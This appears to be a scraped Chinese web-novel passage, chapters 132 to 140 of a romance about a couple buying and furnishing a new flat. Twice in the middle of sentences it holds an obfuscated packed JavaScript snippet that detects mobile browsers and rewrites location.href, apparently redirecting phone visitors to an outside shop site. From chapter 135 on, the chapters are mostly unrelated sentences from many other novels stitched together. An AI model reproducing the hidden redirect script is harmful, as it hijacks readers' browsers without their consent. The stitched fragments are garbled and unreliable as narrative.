江月低下头,继续看书。可那些字在眼前晃来晃去,她一个字都看不进去。 她脑子里全是那天在巷子里,苏荷雨说的那些话。 军区大院,开国功勋的后代,手底下好几块地皮。 她攥紧笔,指节泛白。 苏念橙能嫁,她也能。 她抬起头,看了苏念橙一眼。 江月收回目光,低下头。 总有一天,她也要过上好日子。 比苏念橙更好的日子。 第一百三十三章 她和她男人的家 又过了十来天,政府部门也上班了,拆迁的手续很快就下来。 苏念橙站在槐花胡同口,看着那栋三层小楼外墙上的拆字,心里有点说舍不得。 住了几个月,虽然时间不长,但那是她在省城的第一个家。 “舍不得?”越靳临站在她旁边,低头看她。 苏念橙点点头,“嗯,毕竟也住了好久。”她笑了笑,“刚来的时候,还以为自己住不了多久就要被赶走呢。” 越靳临伸手揉了揉她的头发,“我怎么会感你走呢。” “哼,晾你不敢。” 越靳临笑道:“是,媳妇儿~不过新房子会更好的。走,去政府办手续。” 两人上了吉普车,往政府大院开。 手续办得顺利,补偿款比预想的还多了些。 苏念橙坐在旁边,看着越靳临签字画押,心里盘算着这笔钱能买多大的房子。 从政府出来,她忍不住问,“咱们有多少钱?” 越靳临看了她一眼,嘴角弯了弯,“够你买个大的。” 苏念橙脸微微一红,“我又不是那个意思——” “我知道。”他牵起她的手,“走,去看房子。城东新开了个楼盘,现成的,不用等。” 两人上了车,往城东开。苏念橙坐在副驾驶,看着窗外的街景一点点往后退,心里想着新房子要买什么样的。 “想要几间房?”越靳临问。 苏念橙想了想,“三间吧。一间主卧,一间书房,还有一间给奶奶留着,她想来住的时候方便。” 越靳临看了她一眼,眼里带着笑意,“想得挺周到。” 苏念橙笑了,“那是。” “不过,还有你一点你没想到。” 她不明所以,疑惑问:“还有什么呢?” 越靳临压低声音,“当然是咱们娃的房间,我可不想以后咱娃挤着我们睡。” 苏念橙被他说的两颊一红,她傲娇道:“谁要和你生娃啦。”话落,她害羞撇头。 “是是是,那当然是听媳妇儿的。” 车子在城东一个新楼盘前停下。 几栋崭新的楼房,红砖青瓦,看着挺气派。 门口挂着个大牌子,写着东风里小区几个字。 两人下了车,往里走。 售楼处在一楼,玻璃门擦得锃亮,里头摆着几张桌子,墙上挂着户型图。 苏念橙推门进去,一个穿灰色西装的中年男人正趴在桌上打瞌睡,听见动静抬起头,上下打量了他们一眼。 目光在越靳临那件旧工装上停了一瞬,又在苏念橙那件不算旧的棉袄上转了一圈,撇了撇嘴。 “看房?”他问,声音懒洋洋的。 苏念橙点点头,“嗯,想看看户型。” 那男人站起来,慢吞吞地走过来,从桌上拿了张户型图,往他们面前一推,“就这些。两居室,三居室,价格都标着呢。” 苏念橙接过图纸,认真看起来。越靳临站在她旁边,也低头看着。 “这套三居室多少钱?”苏念橙指着一套户型问。 那男人看了一眼,“三千二。” 苏念橙愣了一下。 三千二,在这年头可不是小数目。 她咬了咬嘴唇,又指了指另一套,“这套呢?” “两千八。”男人打了个哈欠,“你们要是觉得贵,可以看看两居室的。那边那套一千八,性价比高。” 他说话的时候,眼睛一直往门口瞟,像是在等什么人。 苏念橙注意到他的态度,心里有点不舒服,但没说什么,继续看图纸。 “这套三居室的朝向怎么样?”她问。 男人看了她一眼,“朝南。不过这套已经有人看上了,你们要的话得排队。” 苏念橙皱了皱眉,“那这套呢?”她指了指另一套。 “朝北。”男人说,语气有点不耐烦,“你到底看不看?不看的话别耽误我时间。” 苏念橙抬起头,看着他。 那男人被她那眼神看得愣了一下,随即又恢复了那副懒洋洋的样子。 “同志,我们是来买房的,不是来闲逛的。”苏念橙声音平静,“你要是忙,我们可以找别人。” 那男人哼了一声,“找别人?这售楼处就我一个人。你们要是不买,就赶紧走, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399684|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别在这儿碍事。” 苏念橙攥紧手里的户型图,指节泛白。越靳临眉头皱了皱,正要开口,门被推开了。 一个年轻姑娘走进来,穿着件蓝布棉袄,扎着两个麻花辫,脸圆圆的,看着挺面善。她手里拿着个文件夹,看见屋里这一幕,愣了一下。 “刘哥,怎么了?”她问。 那个叫刘哥的男人摆摆手,“没事,看房的。你去忙你的。” 那姑娘看了苏念橙一眼,又看了看越靳临,犹豫了一下,走过来,“同志,你们是来看房的?我姓赵,新来的,要不我给你们介绍介绍?” 苏念橙看着她那张真诚的脸,点点头,“好,麻烦你了。” 刘哥在旁边哼了一声,转身走回收银台,继续打瞌睡。 赵同志领着他们走到另一张桌子前,倒了杯水递过来,“你们想买什么样的?三居室还是两居室?” 苏念橙把户型图摊开,“想看看三居室。这套朝南的,还在吗?” 赵同志看了看图纸,“在的。刘哥刚才说的那套是另一栋的,这套没人订。你们要是感兴趣,可以去看看现房。” 苏念橙眼睛亮了,“可以看现房?” “当然。”赵同志站起来,“走,我带你们去。” 闻言,越靳临牵起苏念橙的手,跟上赵同志。 三个人出了售楼处,往小区里走。 赵同志一边走一边介绍,“这套在二楼,采光好,楼下还有个花园,以后种点花花草草挺方便的。” 苏念橙听着,心里那点不舒服慢慢好了些。 到了二楼,赵同志掏出钥匙打开门,一股新鲜的石灰味扑面而来。 屋里空荡荡的,但光线确实好。 阳光从窗户照进来,把整个客厅照得亮堂堂的。 苏念橙走进去,挨个房间看。 主卧朝南,次卧朝北,书房在中间,窗户对着小区花园。厨房不大,但够用。卫生间也宽敞。 她站在阳台上,看着楼下的花园。 这是她第一次看属于自己的房子。 不是租的,不是借的。 她和她男人的家。 第一百三十四章 买房 “喜欢吗?”越靳临站在她身后。 苏念橙回过头,点点头,“喜欢。” 她又看了看另一套,在三楼,格局差不多,但光线更好些。两套她都喜欢,一时拿不定主意。 “要不再看看?”赵同志问,“隔壁那栋还有一套,也是三居室,不过价格贵点。” 苏念橙摇摇头,“这两套就够了。”她看向越靳临,“你觉得呢?” 越靳临看着她那副认真比较的样子,嘴角弯了弯,“你中意哪个,咱们就买哪个。” 苏念橙咬了咬嘴唇,又看了看两套房,最后指着二楼那套,“这套吧。下楼方便,奶奶以后来了不用爬太高。” 越靳临点点头,“好。” 三个人回到售楼处。 刘哥还趴在桌上打瞌睡,听见动静抬起头,看见他们进来,懒洋洋地打了个哈欠。 “看完了?买不买?” 苏念橙没理他,看向赵同志,“那套二楼的,我们买了。” 赵同志眼睛亮了,“好,我这就去拿合同。” 刘哥愣住了,从椅子上坐起来,“你们真要买?那套三千二的?” 苏念橙点点头,“嗯,全款。” 刘哥张了张嘴,说不出话来。 他上下打量着越靳临那件旧工装,又看看苏念橙那件洗得旧的棉袄,脸上一阵青一阵白。 他还以为就是和平常的穷酸人过来打发时间的呢。 没想到真有实力! 赵同志很快拿了合同过来,越靳临接过来看了看,签了字,从包里掏出厚厚一叠钞票,数好了递过去。 苏念橙看着那叠钱,心里有点恍惚。 几个月前,她还在为五块钱发愁,现在居然能心安理然的全款买房了。 赵同志接过钱,手指都有点抖。 她在这干了半个月,一套都没卖出去,刘哥天天嫌她没本事。 这一下子卖出去一套三千二的,绩效全算她头上。 “同志,手续办好了。”她把钥匙递过来,“这是房门钥匙,你们随时可以搬进来。” 苏念橙接过钥匙,沉甸甸的,压在掌心。她看着那两把崭新的钥匙,心里像被什么东西塞得满满的。 刘哥站在旁边,脸黑得像锅底,但又不好再说什么,最后哼了一声,转身走了。 苏念橙看了他一眼,什么都没说。 跟这种人计较,犯不着。 三个人出了售楼处。 赵同志送到门口,笑着挥手,“同志慢走,有什么问题随时来找我。” 苏念橙点点头,“谢谢你,赵同志。” “不客气不客气。”赵同志笑得眼睛眯成一条缝。 上了车,苏念橙坐在副驾驶,把那两把钥匙翻来覆去地看。越靳临发动车子,看了她一眼,“高兴了?” 苏念橙点点头,笑得眼睛弯成月牙,“高兴。” “那接下来买家具。”他说,“想要什么样的?” 苏念橙想了想,“简单点的就行。床、桌子、椅子,够用就好。” “那不行。”越靳临打着方向盘,“新房子,得好好布置。” 苏念橙看着他,心里甜滋滋的,“那你有空陪我去看吗?” 越靳临顿了顿,“明天工地还有点事,得去一趟。要不你先去家具城转转,看中什么记下来,等我忙完陪你一起去买。” 苏念橙点点头,“好。” 她又想起什么,“对了,让小雪陪我一起去吧。她眼光好,能帮我参谋参谋。” “行。”越靳临说,“我让她明天陪你去。” 回到家,苏念橙把买房的事跟老太太和越靳雪说了。 越靳雪一听就兴奋了,“嫂子,明天我陪你去!家具城新到了一批货,我早就想去看看了。” 老太太也高兴,“买家具得好好挑,别图便宜。床要买结实的,椅子要买稳当的,桌子要高矮合适——” “奶奶,您放心。”越靳雪挽着苏念橙的胳膊,“有我呢,肯定帮嫂子挑最好的。” 苏念橙笑了,“那就辛苦你了。” “辛苦什么呀。”越靳雪摆摆手,“我巴不得呢。逛街买家具,多有意思。” 第二天一早,苏念橙和越靳雪就出了门。家具城在城西,骑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403748|198715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自行车半个多小时就到。 两人停好车,往里走。 家具城挺大,一楼摆着各种桌椅板凳,二楼是床和柜子,三楼是沙发茶几。 越靳雪拉着她,挨个摊子看过去。 苏念橙看得认真,每样东西都问问价,摸摸材质,比比款式。 “嫂子,这张桌子怎么样?”越靳雪指着一张八仙桌,“红木的,看着挺结实。” 苏念橙走过去,摸了摸桌面,光滑平整,确实不错。“多少钱?”她问老板。 老板是个中年男人,上下打量她们一眼,“一百二。” 苏念橙愣了一下,一百二,够普通人家吃好几个月的。 她咬了咬嘴唇,又看了看旁边那张,“这张呢?” “八十。”老板说,“榆木的,便宜些。” 苏念橙正比较着,身后忽然传来一个声音。 “哟,这不是念橙吗?” 她回过头,愣住了。 曾晶晶站在几步外,穿着一件崭新的红色呢子大衣,烫着卷发,脸上抹着厚厚的粉。她身边跟着个年轻男人,穿着西装,看着挺体面。 曾晶晶上下打量着苏念橙,目光在她那件旧棉袄上转了一圈,嘴角勾了勾,“来买家具?怎么,拆迁款到手了?” 苏念橙看着她那张假惺惺的脸,心里一阵恶心,没理她,转过头继续看桌子。 曾晶晶也不恼,走过来,在她旁边站定,“买家具可得擦亮眼睛,别被人骗了。这年头,有些人专坑乡下人。” 越靳雪在旁边听着,脸沉下来,“你说谁呢?” 曾晶晶看了她一眼,“哟,这谁啊?你妹妹?” 苏念橙拉住越靳雪的胳膊,摇摇头,“别理她。” 曾晶晶哼了一声,挽着那个男人的胳膊,“走,去那边看看。这家俱城啊,还是得识货的人来逛。有些人啊,买不起就看看得了,别耽误人家做生意。” 那男人点点头,跟着她走了。 越靳雪气得脸都红了,“嫂子,她谁啊?怎么这么讨厌?” 苏念橙摇摇头,“别管她。走,去看看床。” 第一百三十五章 置办家具 “林掌门,请恕庄重刚才言语上多有冒犯,我现在郑重向林掌门致歉,希望林掌门大人有大量,能够饶过我这一次!”庄重强忍痛疼,向林飞低声下气说道。 “我白漪灵就是不信这些,才有胆量冲破你们的禁锢。我吸血和你们吃饭一样,又有何大碍?”漪灵轻蔑地哼了一声,就踩着漫天的碎星,走进了皑皑的白雪地里。 “我知道你下不了手,所以我亲自来。”蚩尤飞扬的头发纠结着在空中乱舞着。若说琅琊是铁石心肠,那么蚩尤就是连金戈铁戟都能嚼碎的猛兽。 张龙抽出儿臂粗铜棍,持在手中,如长枪直刺而来。棍头呼啸破空,直抵‘老鼠’鼻间顿住。 “多谢颛顼帝和炎帝的赏赐!”石壁重重地将铁盾树在地上,单膝下跪,抱拳相言。 孙绍祖皱了皱眉头,“母亲放心就是,有儿子在呢。”说完,孙绍祖退了出去。 宁江的身上,充满了无数的谜团,若是能够揭开这些谜团,得到宁江的所有秘密,对于他们而言,将会是天大的造化。 “我还情愿中你的毒,至少依谣会为我紧张,会为我绞尽脑汁地解毒……”嘴角微微上扬,是他标志的嬉皮笑脸。 在京大,能够一人同时对付杨家兄弟的,除了京城十少前三的高手,其余的人都做不到。 “没关系,我知道你说什么……其实技术上已经不存在任何问题了,毕竟我们已经进行了不止一次的活体传送……这次只是为了谨慎起见这才重新坐了个实验。”老夏摇摇头。 此人,名叫何山,乃是国术协会的三长老,一身实力,比起杜笙来还要强上一筹。 现在这个情形,留下来也没什么意思,还不如赶紧开溜为妙。有霍金贵这个老不死的为阮美照撑腰,今天还真是动她不得了。 断了一臂的野鼠此时双眼直接冒出了绿光,淫笑连连,口水都从嘴角流了下来!一旁的野猫也是双眼满含淫秽的目光。 在我们这个社会,光有钱还不行,你还得有权。你不光要自己有钱有权,你还需要一帮子有钱有权的朋友们,这样做起生意来才能游刃有余。 毕竟,一旦落败,对萧家的影响极大,那怕他们后面出手,也难保不会令萧家受到损失。 云万花笑着的脸,流出了泪水,表情难画难描,给人一种异样的感觉。就连钱多多都是眼窝湿润。 其中一人一身白袍,面目锋芒凌锐。另一人一身黑衣。眼神平静如水。 虽然,这次选择与京城分公司终止合作的公司很多,已经远远给正常的运营造成了极大的困扰。 紧随其后的寒夜刚要上去帮忙,就听见一声狮吼传来,随后一头狮形凶兽就出现在了她的身前,不畏生死的扑向了她,就这样一人一兽就展开了大战。 这雾魔圣尊还云栖宗山门口,龙洛没有办法躲避,此时只能硬着头皮上了,只见龙洛手握翎羽乱舞,数道火光冲向雾魔圣尊,雾魔圣尊巨掌一伸,一道雾气光盾出现在虚空,那数道火光尽数被挡下。 而其中一位亚圣忽然起身道“莫不是,人祖您手中的那件灵宝就是您逃脱大道抹杀的关键。”说着那人露出欣喜、激动等等神sè,一旁的众神闻言但也顿时一惊,随后尽皆向林天看去,想要知晓究竟是怎么一回事。 杰诺维亚恢复了自由,但她的情绪很平静,没有做出什么激烈的举动,只是虔诚地跪在墨无缺面前。 还好现在已经知道对方是位厉害人物,牛角岭两位当家的,自然不会再轻敌。 眼前山峰虽不及北辰峰那般通天挺立,但也是高耸入云。青色遁光兜出一条弧长光迹,顺着山壁往上飞去。 岳无信心下雪亮,赶紧将卷轴合上,漫天光华随之消散。这才长舒口气,将卷轴放到眼前,脸上满是喜悦。 “别吵吵了,秦长老给他们六成。”于立煌面色冰冷的说着,然后起身离开了议事厅。 那些什么神窍境、神元境强者,在他面前根本就不够看的,挥一下手,就全部解决了。 “我看不怎么样。”林天丝毫不给面子,道,“我先来的,我就要住海景房,他后来的,就应该知道什么叫先来后到,这个海景房,我住定了。”林天说完,转头向雷爷走去。 “没事地!擦破了一块皮!”庄子挣扎着,不让卖儿看。然后!来到床前,脱了鞋,盘腿坐到床铺上面。 或许是随着飘雪城新城主继位的日子临近,商队经过的频率,也变得越来越高。 而孟思思和闻茜看见宋纤柔的时候,也大吃一惊,三人之中,只有许多多被称之为校花,二人的姿色比起许多多虽然并不逊色多少,但如果比较起来确实会差上些许。 大明舰队的火力太猛了,大量倾泄的炮弹,不少已经在彼得伯斯顿公爵和斯巴波特大主教乘坐的联合舰队旗舰周围爆炸了,照这样的情况,如果这艘旗舰再继续向前靠近的话,有很大的可能在下一刻就被击沉。 第一百三十六狂怼狗男女 其他学院被她们这么一闹腾,势必会团结起来,想让上玄学院尝尝苦头。 夜归轻轻的抿唇,深邃的眸光中,有淡淡的光芒,只敛眉之时,有些落寞。 坊间传闻,卞夫人极其贤惠,且不论传闻真伪,至少在卞夫人主内事之下,应该不会在明面上去苛刻曹劲。 “呜呜……爸爸不坏的,奶奶不要骂他了。”七宝很少哭,这下,金豆子却一个一个掉下来,看得人心都疼了。 接下里的日子,依旧如流水般逝去。南疆的收编稳步进行,而云汐颜有喜的消息,也不断传播,令东陵上下震动。 一方面,他说的,和她所记起来的十世之前的记忆,是一样的,另一方面,她觉得,他们两个不应该是这个样子的。 她将自己埋葬在混沌,整整数万年,再没有踏足过混沌外的世界。 那张明明看似温润,却被眉眼间阴鸷情绪污染,看上去充满了戾气,难以接近。 曹家的人自然是慌了阵脚,湙劢、湙勋当然趁这个时候来,佯装是来帮忙的。 徐德明手脚哆嗦,哪还敢说话,更不知道该说什么了,想抬头看一眼芸妃使个眼色求救,可又迟疑了。 虽然王之财宝无法在这个世界张开,但是一些特殊的能力和宝具,还是能够使用的。 “我又不管你是什么人,只要你别让我们家若晴丢脸就行。这种事情,我又不是不允许。”盛夏摆出一副特别理解的样子,摊开手,耸耸肩膀。 确定周末苏微冉会来家里吃饭,到时候苏家的情况,会揭露的清清楚楚,宁栩栩心里得意渐渐放大。 为了能够有一天攻略这个虚拟世界,深知桐人实力的阿尔戈并不希望黑衣剑士出现什么意外。 “也就是说,嫦娥仙子这个差评已经给了五百多年了?!”林风一脸惊讶的问道。 不过这次艾奇没有测试,因为毕竟埃琳娜不是吸血鬼,没有那个恢复力,万一搞不好死掉了也是麻烦事。 话说程松也想过嘻哈为啥连炸弹都造出来了,却没想过暴力逃走。后来仔细一想,他就算把这里炸塌了,又能逃多远呢?照样要被矮人抓起来,说不定还要被人暗杀。 这一切无人知晓,当然他也不会说出来,但莫维兰兰口口声声的说什么也不愿意放过。 “真是霸道呢……”希兹克利夫无奈的苦笑道,眼眸中闪过一抹笑意。 苏微冉笑着坐到莫时凛身边,放下杯子,拿起手机继续跟他玩游戏。 “这干你什么事?”孟雄飞牛眼一瞪,佯怒道。其实是不想告知。 虽然这些大天使被杀死之后,不会留下任何的尸体和战利品,只会化为本源光点回归天上的圣殿建筑,然后就像被复活一般冲下来继续杀戮。 平时可没这么多记者狗仔的,肯定有人知道了自己出院的时间,才在这里等的。 他侧对着观众,面向邓莉君,骚包的整一整他那黑色西装礼服的衣角,正正白色衬衫上的领结,让自己显得更加英俊不凡、显扬清贵一点。 “什么方法?”孟雄飞有些激动兼疑惑地问,他可实在想不出来在自己的两只前蹄变成手之前,究竟有什么方法可以抓枪。 巧的是,自去年入冬结冰后一直关着的梁山泊四围客栈突然又开门了。 “天罡族与泰佬族之间的争斗对这些星域之人来说,就象是神仙打架,他们可以不管不顾,但这些星域之人就要惨了,哪怕象现在滚轮联盟这样一个试验,也有可能造成锯齿星域的覆亡,更何况是他们呢?”香云仙子说道。 星体上这层气态金属层对星体磁场的形成具有重大作用,而磁场对整个星体又能起到很好的保护作用。 至于带给金成俊公司的宣传,那自然是无可估量的,殊不知,近些时日,在那些电影人的口中,中天影视的已成了他们的常语。 “不是,李经理,是你们香江的一个电影剧组今日来访,这些都是来接机的影迷。”台岛友人回答。 如果对手是位法师。或者对手的斗气中有含有非常厉害的元素力量的话。那么陆清宇就要倒霉了。 奇怪,这次却并没有刺痛感,难道是自己的腿和臀部都麻木了?他不敢想象。稍微缓解后,他试着挪了挪屁股,已经没有针刺的感觉了。他这才知道,对方手下留情了。 除了许多疗伤的品介不低的丹药和灵石外,最重要的是有一本看似古朴的黄纸册子,那上面赫然写着‘炼尸大法’四个大字。 “呵呵,我也不为难你们,我让你们看看阵法的核心,只要明白核心在那里,破解起来也非常容易。”仙府意识出现,一挥手,林天和轩辕宜云进入一个特殊的思想空间。 可这戏曲也不过唱到一半罢了,众人均是意兴阑珊,根本没有再看下去的念头。唯独就是那戏子的容貌倒是引人遐想。所以才勉勉强强的继续看下去,权当欣赏美人。 他脸色一沉,忽然甩开我的手,双手抱胸,居高临下地看着我,却不发一言。 不过,不知道他们分别排名第几,若是死营中的高手就只有这点水准的话,倒是让陆清宇有些失望了。 第一百三十七章 谁能保证你男人不会出轨? “小事。”越靳临拉开车门,“就是工钱的事,我去处理一下。” 苏念橙点点头,“那你快去,别耽误。” 越靳临上了车,发动引擎,又摇下车窗,“别想太多。那些人说的话,不值得你往心里去。” 苏念橙笑了笑,“知道了,你快去吧,路上小心。” “好。” 此刻唬得魂不附体,像没头苍蝇一般横冲直撞的,竟然就是这些教众。 在历经天劫后,右臂已经完全复原。不止是如此,连体内的伤势也恢复如初,肉身更为强悍那星辰之力所滋养。 咆哮轰的一下,将四面车窗震的破碎四溅,直直垂下的雨线曲散开,整个车身都在吱吱嘎嘎的摇晃,尸袋里,尸体的额头有黄橙橙的东西,从脑袋里挤了出来。 跑近前了反而不知道该怎么攀谈,毕竟身份摆在这,草民冲撞贵人是极大的罪过,被杀了也没人会说什么,何况食肆的伙计还说过他们不是善类。 “那你还是想退学呗!”唐雨柔内心十分的气愤,自己做了这么多,想要挽回秦尘被退学的结局,可是秦尘却不争气。 咕咕数口净水下肚,楚易的神智渐渐清名,睁开双眼来四下查看。 陈元看得触目惊心,金丹修为的大妖果然恐怖,若是正面受此一击,估计魂魄都得被震散。 也正因为此人,楚朝大军攻来时,国主与权贵才会想要保存国力避战迁都。 她没有将闫飞拿走竹蜻蜓的事情说出来,下次找个时间她一定要亲口问问他。 个个背负着大大的包裹,神情悲怆,口中不断低诵着祭言,伴随着一路寒冷的风霜往前走着。 安逸宸不再说话,他很少有求人的时候,必要的时候,他也可以低头,只是那都是为了别人。 “娘,你这是怎么了?”裴俊星见他娘一嘴血,错愕的愣在原地。 “我现在在盛天实习,也不知道有没有时间出去。”白芍直接拿这个当借口,想要推掉父亲,因为她已然预料到,父亲找她出去不会有什么好事。 苏黏八身为苏老太的大儿子,虽然市侩但是精明,看着蔫巴巴的,其实鬼主意多的很。 原本如果不用抵挡僵尸的进攻,那么除了三胖子以外,哪个也能与这个花椒纠缠个半天不分上下。 何念念扫了他一眼,冷哼一声不作答。行吧,就是仗着她喜欢他,所有有恃无恐么?可当初是谁口口声声说千万不要爱上他的?又是谁拿着离婚协议让她签字?这会子的虚情假意做给谁看? 龙语魔法威力确实足够强大,但是控制起来也异常的困难,至少才使用过一次的卢玥彤尝试着控制就没有办法控制住。 天冷,水缸脆,一棒子下去水缸上的裂纹就跟水波一样越来越大。 这是福少的私人岛屿,岛上所有的装备,装甲车,雷达包括自动化机枪,都是深渊军团的退役装备。 尽管心里有些狐疑,但林一凡还是没想到令狐明月能走出飞云宫。 建国后,由于人口众多,耕地有限,在“以粮为纲”的基本国策下,棉花的种植必然要让位于粮食生产。 聊天刚好到这里,他手里的抹茶拿铁便已然做好,递给了川井香奈。 陆意白风风火火的,赶在三十分钟的末尾,踩着黑色长筒靴到了幼儿园B班门口。 第一百三十八章 这辈子只有你一人 苏念橙走到窗边,看见那辆吉普车停在门口,越靳临下了车,跟老张说了几句话,老张开着车走了。 他站在楼下,抬头看了一眼。 窗户亮着灯,她站在窗边,正看着他。 他愣了一下,随即笑了,朝她挥挥手。 她也挥挥手。 别看大胖子平时和蔼可亲,然而面对美食家方面的正事,作为一会之长,却是无比严肃的。 寄生恶灵正在从这里一个接一个的诞生,一只母体恶灵不断的产下胚胎。 在这期间,坐在孙言对面的赛斯不停的朝着孙言抛媚眼,准确的说是在朝着他身旁的苏灵抛媚眼。不过都被傲娇的苏灵给无视,她百般无聊的坐在座位上,伸手敲击着桌面。 许阳把自己捡漏的故事说完,但绝口不提这东西值多少钱,刘老还有唐老两人若有所思的看了一眼许阳!在这些老家伙面前玩计谋,他许阳还嫩了很多。 咱们对黑鹰两人暂且不提,就说孙言几人进了指挥室后,就看到四位高层外加指挥官,还有赛斯跟斯沃特都在,另外的还有一名身穿蓝白相间,拥有点纹作战服的队员。 钱厅长的脸上也浮起一丝尴尬之色,不过他什么也没说,只是埋头品着茶,仿佛压根儿就没他什么事似的。 并且,古帆打算,等慧空那边事了后,就派慧空到这边来坐镇,防备有任何意外的出现。 凯撒掀起盖子,一阵令人作呕的气味扑面而来,让他皱起了眉头。 “主人!”古魂接听了电话,多次下来,对古帆什么时间打电话过来,古魂也基本上摸清了。 看了一会儿道路两旁铺位的各类黑石,王月天却略微有些皱起眉来。因为他在行走之中突然发现,他所路过的这些铺位大都是卖些磁铁矿石、菱铁矿石、锌矿石以及褐铁矿石。而自己所找的那种矿石却并没有踪影。 白马寺内的长明灯,一张一张的平安符,屋内的佛龛,自己在外一日,沈轻舞便为自己祈求一日,睡不安寝食不下咽,顾靖风心疼的以指轻轻的摩挲着沈轻舞现下憔悴的脸蛋,满是自责。 帮着沈轻舞更衣梳洗,换上一件新制的湖水绿苏绣烟罗纱草花纹儒裙后,将她的发髻扭在脑后,绾成了一个简单的同心髻,又帮着她涂上了些许润肤的蜜露后,这才允了饥肠辘辘的沈轻舞坐在桌上开吃。 “怎么可能?”黑暗迪迦气急败坏的说道,难以置信刚才还连自己一招都接不住的两人此刻竟然能够和自己不相上下。 “是爆裂性质,风速狗把烈焰溅射的性质融入大字爆中了,目的……”白诚目光一凝,只听场地中轰的一声,擂台出现一块凹陷区域,站在原地的风速狗已经不知何时迅猛而出。 再者,纳兰明月之前每每来薛府时,都会看在薛轻羽的面子上对她这个表妹礼遇三分,这次竟然这么对她,实在让她面上挂不住。 看着宁析月此时面带微笑,一脸温和的表情,楚江城这才笑着摇摇头,其实刚才自己的提醒对于宁析月来说,应该算是多余了吧? 这栋楼里的德军可能会以为,上面派了更多的人来,他并不知道。 素心紧靠着身旁的秦涟夜,亦是吓得不住的咯咯发抖着,手在地上四处的乱摸着,却不想,正摸到了一旁未被砸中,可却灰扑扑着的两个笼屉。 第一百三十九章 迎新宅 苏荷雨走过来,在她面前站定。她上下打量着江月,目光在她那件洗得发白的棉袄上停了一瞬。 “听说我姐要请客?”她问,声音淡淡的。 江月心里咯噔一下,“你才知道?” 虽然在地底下很难知道自己的确切位置,但根据之前在城楼上的探查,黥军的帅帐极可能设在彭城以东六里处的一个大树林旁。因此靠着一个罗盘的指引,只需一直向东前进,便可到达那个树林的下方。 “真没,我不怎么关心娱乐界的新闻,尤其还是韩国棒子,当然,除了那次‘苍老师’进军娱乐圈的新闻,我稍微关注了一下。”沈云摆摆手说道。 乾坤戒一现,从里边飞出一只五彩斑斓的飞马,冲着关剑直叫唤。 在这漆黑静谧的林子里,任何的风吹草动都是应该注意的。因为夜晚,正是猛兽和鬼怪出没的好时机,关剑可不敢掉以轻心。 未曾如何客套,马丁学风眉头陡然一挑,似是想起了什么事情一般,看着马格里亚斯?恩格斯问道。 章大无手中的白刃钢钗本来可以将风雷巨斧骷髅部将一钗刺死,可是现在却不可能了,所以章大无一钗刺了个空不说,回钗时都觉费力。 “春风怎么还没来!”田棣焦急地催促,看到有人伸手抓田甜甜,心刚提起来,就见田甜甜尖叫了一声对着人的手就大口咬了下去,这次换成陌生男人痛得大声叫了。 看着白虎奋力的战斗去了,朱雀也没有说什么,本来她还想教训一下白虎的,教训他竟然连站在自己对面都没有告诉她有骷髅兵偷袭。 关剑趁热打铁,又催动着火云仙剑改变了方向,猛地朝蛇尾的地方刺去。 刚才那神秘的一幕,关剑还历历在目,但是感觉像一场梦,很不真实。但有一点可以肯定的是,他却是吞下了那颗龙珠,因为此时他感觉自己的胸口有一股暖流来回游动,在心脏周围漾起一圈圈涟漪。 更重要的是,系统并没有发出提示,更没有给自己任务奖励,所以,石天立刻就认定,大头丧尸并没有死。 他的进入虽然让剧情有了些许变化,可是怎么都跳不出杀了武当同门的这个怪圈儿。 没有男人不爱听这种话,尤其是沈工头这种倨傲的人当下露出了满意的笑来。 周一凡观此情景,忽然觉着自己具有成为大坏蛋的潜质,他不好意思的摸着鼻子,索性端起师尊给的古籍开始钻研。 下了舞台,她就躲进了洗手间,确定里面没有监控录像之后,她便拆了头上夸张的饰品,将屁股后面的尾巴也拽了,而后从金碧辉煌的格子间里一窜上了天花板,挪动了那扇排气窗。 其实,只要跟喜欢的人在一起,做任何事情都是开心的,并不是说非要极度亲密才算谈恋爱。 见夏以沫下来,龙慕寒向她招了招手,示意她来到自己身旁坐下。 北辰玦召唤出了雪盏,在魂界同样能够召唤契约灵兽,就连与自己有灵魂联系的储物空间也可以带来。 而他的手中,竟然还握着一柄通体金色的古朴长剑,这长剑和石天在电视上看到的一些长剑差不多,只不过电视上的那些道具长剑并没有这柄长剑那种古朴厚重的质感。 第一百四十章 陷害 苏念橙摸了摸脸,确实烫,“可能喝多了。” “你才喝了两杯。”何佩佩笑着说,“酒量也太差了。” 苏念橙想说什么,可那股眩晕感越来越重。她扶住桌子,稳了稳。 旁边,越靳临也靠在椅背上,闭着眼睛,眉头皱着。 “死了,赫赫有名、威慑天下的金乌族太子就这么死了!”没有人不震惊。 只见这是一只男鬼,身材偏胖,长得一般。此时他正紧张的看着侯爵。侯爵问道:“你主人是梅姨吗?”这只鬼赶紧点了点头。 大喝着,白森将这柄长矛投掷了出去,这熟练的姿势估摸着至少是大部落的酋长。 “对不起,敬言叔叔,打扰你休息了。”朱棣见佑敬言有些不高兴上来就道歉,让佑敬言都不好意思再说什么了。 第二秒,死后经过一段时间迷茫的游荡以后,她有了意识,那个时候,她明白了,原来这个世界上是有幽灵存在的。 安德烈虽说是一个领地的领主,但是在昨晚的介绍之中,这货倒也没什么防备的心思,对于白森近乎是无话不言,如果不是白森没有什么坏心思,恐怕就连他内裤是什么颜色都能套出来。 